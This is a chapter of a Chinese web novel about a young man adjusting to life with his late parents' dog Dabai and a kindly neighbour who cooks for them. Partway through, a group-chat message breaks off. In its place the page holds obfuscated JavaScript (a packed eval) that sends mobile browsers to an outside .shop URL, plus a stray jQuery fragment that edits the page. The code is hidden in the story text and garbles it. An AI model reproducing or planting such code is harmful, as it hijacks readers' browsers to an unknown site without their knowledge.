3. 第 3 章
    家里厨房挺宽敞的,足以容纳两个人,还有条垂涎美食的狗。

    黄阿姨正从购物袋拿出吃的,每拿出一样,大白就竖起耳朵,“呜汪”一声,给足了情绪价值。

    与大白的兴奋不同,而关山越睫毛微敛,默默地计算着价格。

    他没养过狗,以前也只是隐约明白宠物狗养起来很费钱。

    但没想过会如此的、昂贵。

    他打工攒下来的那点存款根本不够看的。

    即使如此,关山越也没想过不养大白了。不说大白是父母留下的狗,就说他自己,他最厌恶的就是抛弃。

    黄阿姨手脚很麻利,没一会就开始清洗果蔬,水声从龙头倾泻而出,她看了眼站在一旁不知在想什么的关山越,开始唠家常:“大白不喜欢吃狗粮,你爸医院上班忙,平时都是楼上退休了的孟奶奶给大白做狗饭。”

    “我嘛,我在润大做老师,寒暑假时间多,就由我来做狗饭。”

    听见“狗粮”二字的大白皱了皱鼻头,仰头瞪了眼关山越,一脸严肃地汪了一声,“听见没!听见没?我可不吃狗粮嗷!”

    关山越接过了黄阿姨递过来两个的苹果,瞥了眼洋洋得意的大白,总觉得这狗好像过分懂人话了。

    不过,应该是错觉。

    它不像是这么聪明的狗。

    在福利院是吃大锅饭,在学校是吃食堂,关山越并不擅长厨艺,但他之前打过零工,在切菜上还是不错的。

    几刀落下,苹果的清甜之香就顺着刀刃飘散开来,缓解丝丝闷热。

    关山越将切好的苹果片放在了大白的碗里,先给它开开胃。

    剩下的苹果核上还有些果肉,连狗粮都不吃的狗,就更不可能吃苹果核了。

    浪费不好,关山越顺手地啃上了几口苹果核外残留的果肉,他长这么大,还没吃过这么甜的苹果。

    进口的狗,就要吃进口的苹果吗?

    一旁在挑虾线的黄阿姨一扭头就看见满嘴果肉的大白,和吃着苹果核的关山越,无奈地笑了笑,刚刚她那句话好像把孩子逗过了。

    这苹果,她就是想给关山越吃的。

    大白吃了两个苹果后,狗饭也就吃不了多少了。

    她遇见的孩子有爽直的,直接就吃上了,有的拘谨点,倒是会问上一句。

    可这孩子太实诚了,觉得这一袋都是大白的食物,就一下也不碰。

    分明是递去了两个苹果,他倒是可怜巴巴地啃起边角料了。

    黄阿姨有些懊恼,她刚刚习惯性将关山越当成家属院那些孩子了,没能多想一步。

    关山越面色坦然地将苹果核扔进了垃圾桶里,等他再抬起头来,黄阿姨已经背过去开火了。

    天气热,厨房里也没装凉霸,黄阿姨的额头上不停有汗珠滚落,关山越抿了抿唇,“今天太麻烦您了,我暑假都有空,以后就都由我来做吧。”

    “那可不行。”黄阿姨玩笑似的就一口拒绝了,顺势将虾放入煮沸了的水中,“我可是靠着这门手艺来笼络我们大白的。”

    新鲜的虾肉在沸水里逐渐变得饱满红润起来,浮出了淡淡的鲜香味。

    黄阿姨用筷子夹了一块虾肉,怕太烫,特意过了温水后,才弯下腰放在了大白的碗里,让它先尝个味儿。

    对上关山越的脸,黄阿姨眨了眨眼,颇为神秘地说着:“至于孟奶奶啊,她可愿意投喂大白了,你不让她喂,她可不愿。晚上她估计就要来找你要大白了。”

    “哦对了,我这还有把你家钥匙,你爸之前忙起来一天都能不在家呢,大家伙儿就留了把钥匙,轮流遛大白。现在你回来了,有时间遛狗了,我等会忙完把钥匙给你。”

    关山越没有拒绝,他其实并不是很能相信旁人,也不习惯邻居们过多的热情与善良。

    他更喜欢明码标价与互不相欠。

    没一会儿,黄阿姨就把热得满头大汗的关山越赶出了厨房,说是怕他偷师成功。

    系统看着呆坐在沙发上百无聊赖玩手机的关山越,一个劲儿地催着大白:“大白,大白,你去贴贴关山越啊,他今天第一天到家一定很孤独!”

    “狗狗可是人类最好的朋友啊!”

    “汪呜?行吧。”

    品了品嘴里还未散去的苹果味,大白觉得这是关山越对自己的讨好。

    他认输了,自己也别太计较,大狗得有大量。

    它熟门熟路地开了沙发旁的矮柜,里面的玩具琳琅满目,每一个都是它的心头宠。

    汪汪,今天我要宠幸哪一个呢?

    一番挑挑拣拣后,大白叼起玩具框里的猴子玩偶,而后又优雅地摇着蓬松的大尾巴走到了关山越面前。

    它伸长脖子,轻轻地将玩偶放在了沙发上,白色的眼睫忽闪忽闪的,软乎乎地笑着。

    见关山越目光还浸在手机屏幕里,大白凑近了沙发,努了努嘴筒子,不停关山越的黑裤子,白毛全沾裤子上了。

    等关山越有反应后,大白后退几步,两只前脚整齐地并在一起,乖巧地坐了下来,黑溜溜的眼里闪着期待。

    关山越要是愿意陪它玩,大度的它就勉为其难地原谅他吧。

    毕竟愿意陪耶耶玩的人,能有多坏呢?

    看着玩偶上浅浅的咬痕,关山越以为这是大白的示好,是给他玩的,只腾出一只手来,没甚感情地哄道:“谢谢大白。”,随后敷衍地捏了下猴子,就将其放在了一旁。

    被捏扁的猴屁股,随着棉花的回弹,又重新鼓胀了起来。

    就像,大白因为咬牙切齿而鼓起来的腮帮子一样。

    耶耶!我哄不好了!

    但关山越没发现大白的小脾气,依旧看着99+消息的聊天框。

    黄阿姨刚刚把关山越拉进了家属院的群里,很快黄阿姨的女儿黄倩就加了他,之后手机里就莫名其妙地多了一堆群。

    杂七杂八的,什么都有,润大家属院篮球群、羽毛球、游戏群这种都算正常的了,还有什么润大家属院代课群、约架群,一闪而过的还有润大家属院狗狗美容大赛。

    它们都有一个共同点:没有家长。

    这是关山越没见过的世界,闹腾又广阔。

    令人生怯,又想去瞧一眼。

    突然,篮球小群里有人在艾特关山越。

    飞哥天下第一帅:【@关山越你会打篮球不?大黄说你长得挺高的,咱六月底有个比赛一块组队不?】

    关山越:【会一点,但现在六月中了,才组队比赛会输吧?】

    不叫大黄谢谢:【向惊飞,再叫大黄就给姐死!】

    不叫大黄谢谢:【小关,不是什么大的比赛。阿飞个子矮之前在球场被嘲笑了,他单方面的复仇赛,没人看好他,就没能拉到几个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422418|141362||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人。】

    关山越瞟了眼大白团子的背影,还是同意与向惊飞组队了。

    孤僻如他,必要的时候,也是需要社交的。

    至少他得知道附近哪儿的菜要便宜点,哪儿的能新鲜一点。

    这狗养起来,是真费钱啊。

    刚刚他搜过了,狗不能吃调料,狗饭看起来是没什么难度,每样食材煮熟了就行。

    难的是营养搭配。

    黄阿姨也只是看他没养过狗,好心罢了,他不能总靠邻居买菜做饭吧。

    思索间,黄阿姨正端着狗碗走了出来,大白一下子就支楞了起来,屁颠颠地围了上去大快朵颐。

    黄阿姨抹了抹额头上的汗,“小越,牛肉我煮上了,等砂锅的灯变绿,就能吃了。”

    关山越点头道谢,握着手机想给黄阿姨买菜钱,但目光扫到她耳侧的玉坠,与脖颈处莹润华美的珍珠坠,又止住了,还生出了一分窘迫。

    他想,黄阿姨不会要的。

    最后,他还是选择把手机藏在了身后,看着黄阿姨笑着离开的背影。

    等大白吃完,关山越起身去给大白洗碗。

    厨房里热烟未消,纱窗外的暑气迫不及待地涌入室内,与一股蛮横的香味相互绞缠冲撞,盈于鼻间。

    关山越有些讶然,能有这般霸道滋味的,不应是狗饭。

    他往前走了几步,打开冒着热气的锅盖,卤汁“咕嘟咕嘟”作响,炖得酥烂的牛肉在其中翻涌沸腾,牛肉里的油与花都炖得极软。

    香料深深地融进了牛肉里,使人不禁胃口大开。

    视线再往旁移上一寸,便是一碗拌好的凉面,其上铺满清爽的胡萝卜丝与黄瓜丝,最上面是煎出了焦香的爱心鸡蛋与烤肠。

    想必是怕他不吃辣,辣油单独备好放在旁边的小碗里。

    见此情景,关山越握住狗盆的尾指忽地一顿,薄唇轻抿。

    这分明是黄阿姨特意为他做的,不说是怕他推却。

    干涸已久的心池微微泛起一阵涟漪,一圈又一圈。

    炖熟的酱牛肉配上爽口的凉面滋味极佳,恰到好处的咸香味在舌尖绽开,其韵绵长,燥郁憋闷的胸口不知不觉中就得到了一丝清气。

    而这碗面,同样也能让小狗不计前嫌,迫不及待地跑了过来,歪着小脑袋,直流口水,叫声都欢悦了起来。

    “小狗不能吃。”关山越空出一只手来,挠了挠大白的下巴,看它仍旧不死心,他尝试着捋平它头顶上倔强的呆毛,顺带按下了大白蹦跶上桌的野心。

    讨要未果,大白气得鼻子哼哼,整张脸都皱了起来,再次气呼呼地背过身去,仿佛一个巨大的三角白饭团,身后绵软的尾巴时不时扫荡着大理石地面。

    尾巴拍地发出了“啪嗒”的声音,更像是无声的嘟囔与抱怨。

    气不到十分钟,大白就悄悄歪过脑袋,顶着水汪汪的眼,望眼欲穿地盯着关山越齿间咀嚼的牛肉,不争气地吸溜着口水。

    “只要你给我吃一口,我...我就原谅你!”

    关山越装作没看见大白的小动作,但他不清楚自己早就在不知觉间,笑了起来,浅浅的梨涡荡漾在脸颊两侧,若隐若现,眉眼温柔。

    聒噪的系统不由得停下了对大白喋喋不休的劝导。

    等到晚间,夕阳垂落之际,静了一下午的门口再次响起了敲门声。